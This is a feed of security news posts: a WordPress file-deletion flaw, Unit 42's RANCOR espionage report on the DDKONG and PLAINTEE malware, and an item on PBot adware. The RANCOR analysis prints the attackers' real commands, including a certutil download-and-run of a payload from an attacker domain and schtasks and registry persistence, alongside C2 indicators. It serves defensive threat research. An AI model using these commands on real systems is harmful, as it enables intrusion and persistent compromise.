Researchers say that using this flaw an attacker can delete any critical files like “.htaccess” from the server, which usually contains security-related configurations, in an attempt to disable protection.

Besides this, deleting “wp-config.php” file—one of the most important configuration files in WordPress installation that contains database connection information—could force entire website back to the installation screen, allegedly allowing the attacker to reconfigure the website from the browser and take over its control completely.

However, it should be noted that since the attacker can’t directly read the content of wp-config.php file to know the existing “database name,” “mysql username,” and its “password,” he can re-setup the targeted site using a remote database server in his control.

Once complete, the attacker can create a new admin account and take complete control over the website, including the ability to execute arbitrary code on the server.

“Besides the possibility of erasing the whole WordPress installation, which can have disastrous consequences if no current backup is available, an attacker can make use of the capability of arbitrary file deletion to circumvent some security measures and to execute arbitrary code on the web server,” researchers say.

In a proof-of-concept video published by the researchers, as shown above, the vulnerability worked perfectly as described and forced the site to re-installation screen.

However, as of now, website admins should not panic due to this vulnerability and can manually apply a hotfix provided by the researchers.

We expect the WordPress security team would patch this vulnerability in the upcoming version of its CMS software.

Go to Source

RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families

Throughout 2017 and 2018 Unit 42 has been tracking and observing a series of highly targeted attacks focused in South East Asia, building on our research into the KHRAT Trojan. Based on the evidence, these attacks appear to be conducted by the same set of attackers using previously unknown malware families. In addition, these attacks appear to be highly targeted in their distribution of the malware used, as well as the targets chosen. Based on these factors, Unit 42 believes the attackers behind these attacks are conducting their campaigns for espionage purposes.

We believe this group is previously unidentified and therefore have we have dubbed it “RANCOR”. The Rancor group’s attacks use two primary malware families which we describe in depth later in this blog and are naming DDKONG and PLAINTEE. DDKONG is used throughout the campaign and PLAINTEE appears to be new addition to these attackers’ toolkit.  Countries Unit 42 has identified as targeted by Rancor with these malware families include, but are not limited to:

  • Singapore
  • Cambodia
  • Thailand

We identified decoy files which indicate these attacks began with spear phishing messages but have not observed the actual messages. These decoys contain details from public news articles focused primarily on political news and events. Based on this, we believe the Rancor attackers were targeting political entities.  Additionally, these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case, Facebook.

The malware and infrastructure used in these attacks falls into two distinct clusters, which we are labeling A and B, that are linked through their use of the PLAINTEE malware and several “softer” linkages.

Linking the attacks

Building on our previous research into KHRAT Trojan, we have been monitoring KHRAT command and control domains. In February 2018, several KHRAT associated domains began resolving to the IP address 89.46.222[.]97. We made this IP the center of our investigation.

Examining passive DNS (pDNS) records from PassiveTotal revealed several domain names associated with this IP that mimic popular technology companies. One of these domains, facebook-apps[.]com, was identified in one of the malware samples associated with this IP address.

The following table depicts the two malware samples that are directly related to this IP address:

SHA256 Description Connection to IP


0bb20a9570a9b1e3a72203951268ffe83af6dcae7342a790fe195a2ef109d855 Loader C2 (resolves to
c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d PLAINTEE Hosted on

Digging in further, the malware family we later named “PLAINTEE” appears to be quite unique with only six samples present in our data set.

Apart from one sample (c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d), we were able to link all PLAINTEE samples together by the infrastructure they use. The diagram in Figure 1 shows the samples, domains, IP addresses and e-mail addresses that we identified during our investigation (See Appendix B for more detail on these.) There is a clear split between Cluster A and Cluster B, with no infrastructure overlap between the two.


Figure 1 – Diagram showing the split of PLAINTEE samples across the two clusters of activity.

Our Investigation into both clusters further showed that they were both involved in attacks targeting organizations in South East Asia. Based on the use of the relatively unique PLAINTEE malware, the malware’s use of the same file paths on in each cluster, and the similar targeting, we have grouped these attacks together under the RANCOR campaign moniker.

Delivery & Loader mechanisms

For many of the samples we’ve been unable to identify how they were delivered to end victims; however, in three cases we were able to locate the files used to deliver the Trojan, which we found merited more investigation and are briefly discussed below.

Cluster A

Case 1: Delivery via document property macro – a789a282e0d65a050cccae66c56632245af1c8a589ace2ca5ca79572289fd483

 In our research we found at least one attack against a company leveraging a Microsoft Office Excel document with an embedded macro to launch the malware. Interestingly, the delivery document borrowed a technique which was publicized in late 2017 as being used by the Sofacy threat actors, embedding the main malicious code in a EXIF metadata property of the document.

By doing so, the main content of the macro itself (Figure 2) can be kept relatively simple, and the malicious’ codes small footprint can help enable evasion of automated detection mechanisms based on macro content.


Figure 2 – The entire contents of the macro

The ‘Company’ field in this case, contains the raw command that the attacker wishes to run, downloading and executing the next stage of the malware:

cmd /c set /p=Set v=CreateObject(^"Wscript.Shell^"):v.Run ^"msiexec /q /i^",false,0  
C:WindowsSystem32spooldriverscolortmp.vbs & schtasks /create /sc MINUTE 
/tn "Windows System" /tr "C:WindowsSystem32spooldriverscolortmp.vbs" 
/mo 2 /F & schtasks /create /sc MINUTE /tn "Windows System" /tr 
"C:WindowsSystem32spooldriverscolortmp.vbs" /mo 2 /RU SYSTEM /c set 
/p=Set v=CreateObject(^"Wscript.Shell^"):v.Run ^"msiexec /q /i^",false,0  
C:WindowsSystem32spooldriverscolortmp.vbs & schtasks /create /sc MINUTE 
/tn "Windows System" /tr "C:WindowsSystem32spooldriverscolortmp.vbs" 
/mo 2 /F & schtasks /create /sc MINUTE /tn "Windows System" /tr 
"C:WindowsSystem32spooldriverscolortmp.vbs" /mo 2 /RU SYSTEM

Cluster B
Case 2: Delivery via HTA Loader – 1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458

 In this case the attackers sent an HTML Application file (.hta) to targets most likely as an email attachment. When opened and then executed, the key components of the HTA file downloads and executes further malware from a remote URLand loads a decoy image hosted externally (Figure 3).


Figure 3 – The decoy image loaded when the .HTA file is executed.

The decoy in Figure 3 strongly suggests the attackers were conducting an attack against a political entity in Cambodia. The Cambodia National Rescue Party is a politically motivated opposition movement.

Case 3: Delivery via DLL Loader –

 We identified three unique DLL loaders during this analysis. The loaders are extremely simple with a single exported function and are responsible for executing a single command. An exemplar command is given below:

cmd /c Echo CreateObject("WScript.Shell").Run "msiexec /q /i 
>%userProfile%AppDataLocalMicrosoftmicrosoft.vbs /c Echo 
CreateObject("WScript.Shell").Run "msiexec /q /i 
schtasks /create /sc MINUTE /tn "Windows Scheduled MaintenBa" /tr "wscript 
%userProfile%AppDataLocalMicrosoftmicrosoft.vbs" /mo 10 /F /create /sc 
MINUTE /tn "Windows Scheduled MaintenBa" /tr "wscript 
%userProfile%AppDataLocalMicrosoftmicrosoft.vbs" /mo 10 /F
cmd /c certutil.exe -urlcache -split -f 
http:\\dlj40s.jdanief[.]xyz/images/1.pdf C:ProgramData1.pdf&start 
C:ProgramData1.pdf /c certutil.exe -urlcache -split -f 
http:\\dlj40s.jdanief[.]xyz/images/1.pdf C:ProgramData1.pdf&start 

In the above command, the malware is downloading and executing a payload and configuring it for persistent execution. In two of the three examples, the malware also downloads and opens a decoy PDF document hosted on a legitimate but compromised website. The decoy documents seen in these cases were related to Cambodian news articles, an example is shown in Figure 4 below.


Figure 4 – 1.pdf decoy delivered by downloader

The decoy above discusses a recent event that took place against political party supporters in Cambodia, a similar theme to the decoy document observed in Figure 3.

It is worth noting that the third DLL mentioned attempts to download the decoy document from a government website. This same website was used previously in a KHRat campaign targeting Cambodian citizens.

Additionally, two of the three DLL loaders were found to be hosted on this same compromised website, implying that it was likely compromised again in early 2018. The filenames for these two DLL loaders are as follows:

  • Activity Schedule.pdf
  • អ្នកនយោបាយក្បត់លើក្បត (Translated from Khmer: Politicians betrayed on the betrayal)

Malware Overview

In all cases where we were able to identify the final payloads used, the DDKONG  or PLAINTEE malware families were used. We observed DDKONG in use between February 2017 and the present, while PLAINTEE is a newer addition with the earliest known sample being observed in October 2017. It’s unclear if DDKONG is only used by one threat actor or more than one based on the data available.

In this section we’ll go over the capabilities and operation of these malware families.

For the analysis below, we used the following file:

SHA256 119572fafe502907e1d036cdf76f62b0308b2676ebdfc3a51dbab614d92bc7d0
SHA1 25ba920cb440b4a1c127c8eb0fb23ee783c9e01a
MD5 6fa5bcedaf124cdaccfa5548eed7f4b0
Compile Time 2018-03-14 07:20:11 UTC
File Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Table 1 – DDKONG sample analyzed in full.

The malware in question is configured with the following three exported functions:

  • ServiceMain
  • Rundll32Call
  • DllEntryPoint

The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe.

The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time.

DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. Once decoded, the configuration contains the data shown in Figure 5 below.


Figure 5 – Decoded configuration with fields highlighted

After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero.


Figure 6 – DDKONG beacon to remote C2

After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported ‘InitAction’ function. If 0x6 is specified, the malware is instructed to load the exported ‘KernelDllCmdAction’ function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. An example of this buffer at runtime is below:

00000000: 43 3A 5C 55 73 65 72 73  5C 4D 53 5C 44 65 73 6B  C:UsersMSDesk

00000010: 74 6F 70 5C 52 53 2D 41  54 54 20 56 33 5C 50 6C  topRS-ATT V3Pl

00000020: 75 67 69 6E 42 69 6E 00  00 00 00 00 00 00 00 00  uginBin………uginBin………


00000100: 00 00 00 00 43 3A 5C 55  73 65 72 73 5C 4D 53 5C  ….C:UsersMS

00000110: 44 65 73 6B 74 6F 70 5C  52 53 2D 41 54 54 20 56  DesktopRS-ATT V

00000120: 33 5C 5A 43 6F 6E 66 69  67 00 00 00 00 00 00 00  3ZConfig…….ZConfig…….


00000200: 00 00 00 00 00 00 00 00  00 40 00 00 F0 97 B5 01  ………@……

As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family’s name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. During runtime, the following plugin was identified:

SHA256 0517b62233c9574cb24b78fb533f6e92d35bc6451770f9f6001487ff9c154ad7
SHA1 03defdda9397e7536cf39951246483a0339ccd35
MD5 a5164c686c405734b7362bc6b02488cb
Compile Time 2018-03-28 01:54:40 UTC
File Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Table 2 – Plugin downloaded during runtime for DDKong sample.DDKong sample.

This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.


In total we have been able to find six samples of PLAINTEE, which, based on our analysis, seems to be exclusively used by the RANCOR attackers. PLAINTEE is unusual in that it uses a custom UDP protocol for its network communications. For this walk through, we use the following sample:

SHA256 c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d
SHA1 0bdb44255e9472d80ee0197d0bfad7d8eb4a18e9
MD5 d5679158937ce288837efe62bc1d9693
Compile Time 2018-04-02 07:57:38 UTC
File Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Table 3 – PLAINTEE sample analyzed in full.

This sample is configured with three exported functions:

  • Add
  • Sub
  • DllEntryPoint

The DLL expects the export named ‘Add’ to be used when initially loaded. When this function is executed PLAINTEE executes the following command in a new process to add persistence:

cmd.exe /c reg add "HKEY_CURRENT_USERSoftwareMicrosoftWindows 
CurrentVersionRunOnce" /v "Microsoft Audio" /t REG_SZ /d "%APPDATA%Network 
Service.exe" "[path_to_PLAINTEE]",Add /freg add 
"HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionRunOnce" /v 
"Microsoft Audio" /t REG_SZ /d "%APPDATA%Network Service.exe" 
"[path_to_PLAINTEE]",Add /f

Next, the malware calls the ‘Sub’ function which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server.

The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data.

Decoding this blob yields the following information, also found within the original binary:

Offset Description
0x4 C2 port (0x1f99 – 8089)
0x8 C2 host (45.76.176[.]236)
0x10C Flag used to identify the malware in network communications. (default flag:4/2/2018 1:01:33 AM)

Table 4 – Configuration stored in the malware.

The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR.  An example of the decoded beacon is show in Figure 7.


Figure 7 PLAINTEE example beacon

The structure for this beacon is given in Table 5.

Offset Description
0x0 Victim GUID (8C8CEED9-4326-448B-919E-249EEC0238A3)
0x25 Victim IP Address (
0x45 Command (0x66660001)
0x49 Length of payload (0x2f – 47)
0x4d Field 1 – Windows major version (0x6 – Windows Vista+)
0x51 Field 2 – Windows minor version (0x1 – Windows 7)
0x55 Field 3 – Unknown (0x20)
0x59 Payload (default flag:4/2/2018 1:01:33 AM)

Table 5 – Beacon structure for PLAINTEE.

This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server.

During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. The retrieved plugin was as follows:

SHA256 b099c31515947f0e86eed0c26c76805b13ca2d47ecbdb61fd07917732e38ae78
SHA1 ac3f20ddc2567af0b050c672ecd59dddab1fe55e
MD5 7c65565dcf5b40bd8358472d032bc8fb
Compile Time 2017-09-25 00:54:18 UTC
File Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Table 6 – PLAINTEE plugin observed in Wildfire

PLAINTEE expects the downloaded plugin to be a DLL with an export function of either ‘shell’ or ‘file’. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent.  The following commands were observed:

  • tasklist
  • ipconfig /all

The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.


The RANCOR campaign represents a continued trend of targeted attacks against entities within the South East Asia region. In a number of instances, politically motivated lures were used to entice victims into opening and subsequently loading previously undocumented malware families. These families made use of custom network communication to load and execute various plugins hosted by the attackers. Notably the PLAINTEE malwares’ use of a custom UDP protocol is rare and worth considering when building heuristics detections for unknown malware. Palo Alto Networks will continue to monitor these actors, their malware, and their infrastructure going forward.

Palo Alto Networks customers are protected against the threats discussed in this blog in the following ways:

  • Wildfire correctly identifies all samples discussed as malicious.
  • Traps appropriately blocks the malware from executing.
  • AutoFocus customers may track this threat via the KHRAT, DDKONG, PLAINTEE, and RANCOR tags.

Additional mitigations that could help to prevent attacks like these from succeeding in your environment include:

  • Changing the default handler for “.hta” files in your environment so that they cannot be directly executed.hta” files in your environment so that they cannot be directly executed.

Appendix A – PLAINTEE older variant
Older variants of PLAINTEE can be identified via the unique mutex created during runtime. At least three variants of PLAINTEE have been identified to date, however, the following two samples have additional unique differences:

Hash Functions Mutex
bcd37f1d625772c162350e5383903fe8dbed341ebf0dc38035be5078624c039e helloworld

The following actions are performed with the additional functions:

  • helloworld – performs actions identical to the newer sample’s ‘Sub’ function
  • helloworld1 – accepts command-line arguments, performs a UAC bypass
  • helloworld2 – drops and compiles a mof filemof file
  • sqmAddTostream – expected to run initially by the malware, checks OS version and loads the malware with helloworld2 – expected to run initially by the malware, checks OS version and loads the malware with helloworld2

Appendix B

Type Value Cluster
Hash 0bb20a9570a9b1e3a72203951268ffe83af6dcae7342a790fe195a2ef109d85 B
Hash 1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458 B
Domain B
Domain B
Hash a789a282e0d65a050cccae66c56632245af1c8a589ace2ca5ca79572289fd483 A
Hash 863a9199decf36895d5d7d148ce9fd622e825f393d7ebe7591b4d37ef3f5f677 A
Hash 22a5bd54f15f33f4218454e53679d7cfae32c03ddb6ec186fb5e6f8b7f7c098b A
Hash c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d B
Mutex microsoftfuckedupb A
Hash 9f779d920443d50ef48d4abfa40b43f5cb2c4eb769205b973b115e04f3b978f5 A
Hash bcd37f1d625772c162350e5383903fe8dbed341ebf0dc38035be5078624c039e A
Hash 6aad1408a72e7adc88c2e60631a6eee3d77f18a70e4eee868623588612efdd31 A
Hash b099c31515947f0e86eed0c26c76805b13ca2d47ecbdb61fd07917732e38ae78 A
Domain A
Mutex Microsoftfuckedup A
Hash 15f4c0a589dff62200fd7c885f1e7aa8863b8efa91e23c020de271061f4918eb A
Domain A
Hash 0f102e66bc2df4d14dc493ba8b93a88f6b622c168e0c2b63d0ceb7589910999d A
Hash 84607a2abfd64d61299b0313337e85dd371642e9654b12288c8a1fc7c8c1cf0a A
Hash a725abb8fe76939f0e0532978eacd7d4afb4459bb6797ec32a7a9f670778bd7e A
Hash 82e1e296403be99129aced295e1c12fbb23f871c6fa2acafab9e08d9a728cb96 A
Hash 9996e108ade2ef3911d5d38e9f3c1deb0300aa0a82d33e36d376c6927e3ee5af A
Domain A
Hash 18e102201409237547ab2754daa212cc1454f32c993b6e10a0297b0e6a980823 A
Hash c78fef9ef931ffc559ea416d45dc6f43574f524ba073713fddb79e4f8ec1a319 A
Hash 01315e211bac543195f2c703033ba31b229001f844854b147c4b2a0973a7d17b A
Hash b8528c8e325db76b139d46e9f29835382a1b48d8941c47060076f367539c2559 A
Hash df14de6b43f902ac8c35ecf0582ddb33e12e682700eb55dc4706b73f5aed40f6 A
Hash 177906cb9170adc26082e44d9ad1b3fbdcba7c0b57e28b614c1b66cc4a99f906 A
Hash 113ae6f4d6a2963d5c9a7f42f782b176da096d17296f5a546433f7f27f260895 A
Domain A
Hash 128adaba3e6251d1af305a85ebfaafb2a8028eed3b9b031c54176ca7cef539d2 A
Domain A
Hash 5afbee76af2a09c173cf782fd5e51b5076b87f19b709577ddae1c8e5455fc642 A
Domain A
Hash 119572fafe502907e1d036cdf76f62b0308b2676ebdfc3a51dbab614d92bc7d0 A
Domain A

The post RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families appeared first on Palo Alto Networks Blog.

Go to Source
Author: Brittany Ash

Python-Based Adware Evolves to Install Malicious Browser Extensions

Security researchers have been warning of a few newly detected variants of python-based adware that are being distributed in the wild not only to inject ads but also found installing malicious browser extensions and hidden cryptocurrency miner into victims’ computers.

Dubbed PBot, or PythonBot, the adware was first uncovered more than a year ago, but since then the malware has evolved, as its authors have been trying different money-making schemes to profit themselves, according to researchers at Kaspersky Labs.

The previous versions of the PBot malware were designed to perform man-in-the-browser (MITB) attacks to inject unwanted advertising scripts on web pages visited by the victim, but the newer variants have been found installing malicious ad extensions in the web browser.

“Developers are constantly releasing new versions of this modification, each of which complicates the script obfuscation,” Kaspersky researchers said in their blog post published today.

“Another distinctive feature of this PBot variation is the presence of a module that updates scripts and downloads fresh browser extensions.”

The malware is usually distributed through pop-up advertisements on partner sites, which redirect users to the PBot download page, disguised as legitimate software.

Clicking anywhere on the download page eventually drops an “update.hta” file on the victim’s system, which if opened, downloads the original PBot installer from a remote command-and-control server.

During installation, the malware drops a folder with the Python 3 interpreter, some Python scripts, and a browser extension on the targeted system. After that, it uses Windows Task Scheduler to execute python scripts when the user signs into the system.

PBot consists of “several Python scripts executed in sequence. In the latest versions of the program, they are obfuscated using Pyminifier,” the researchers say.

If PBot finds any targeted web browsers (Chrome/Opera) installed on the victim’s system, it uses “” script to generate DLL file and then injects it into the launched browser and install the ad extension.

“The browser extension installed by PBot typically adds various banners to the page, and redirects the user to advertising sites,” the researchers explain.

Although the malware has not been distributed across the globe, it has an alarming number of victims, the majority of which resides in Russia, Ukraine, and Kazakhstan.

“Throughout April, we registered more than 50,000 attempts to install PBot on computers of users of Kaspersky Lab products. The following month this number increased, indicating that this adware is on the rise,” the researchers say.

The best way to protect yourself from avoiding falling victims to such attacks is always to be vigilant while surfing the Internet, and always keep a good antivirus software installed on your computer that can detect and block such threats.

Last but not the least, always download apps from trusted sources, like Google Play Store, and stick to verified developers, and do not forget to keep both your devices and software up-to-date.

Go to Source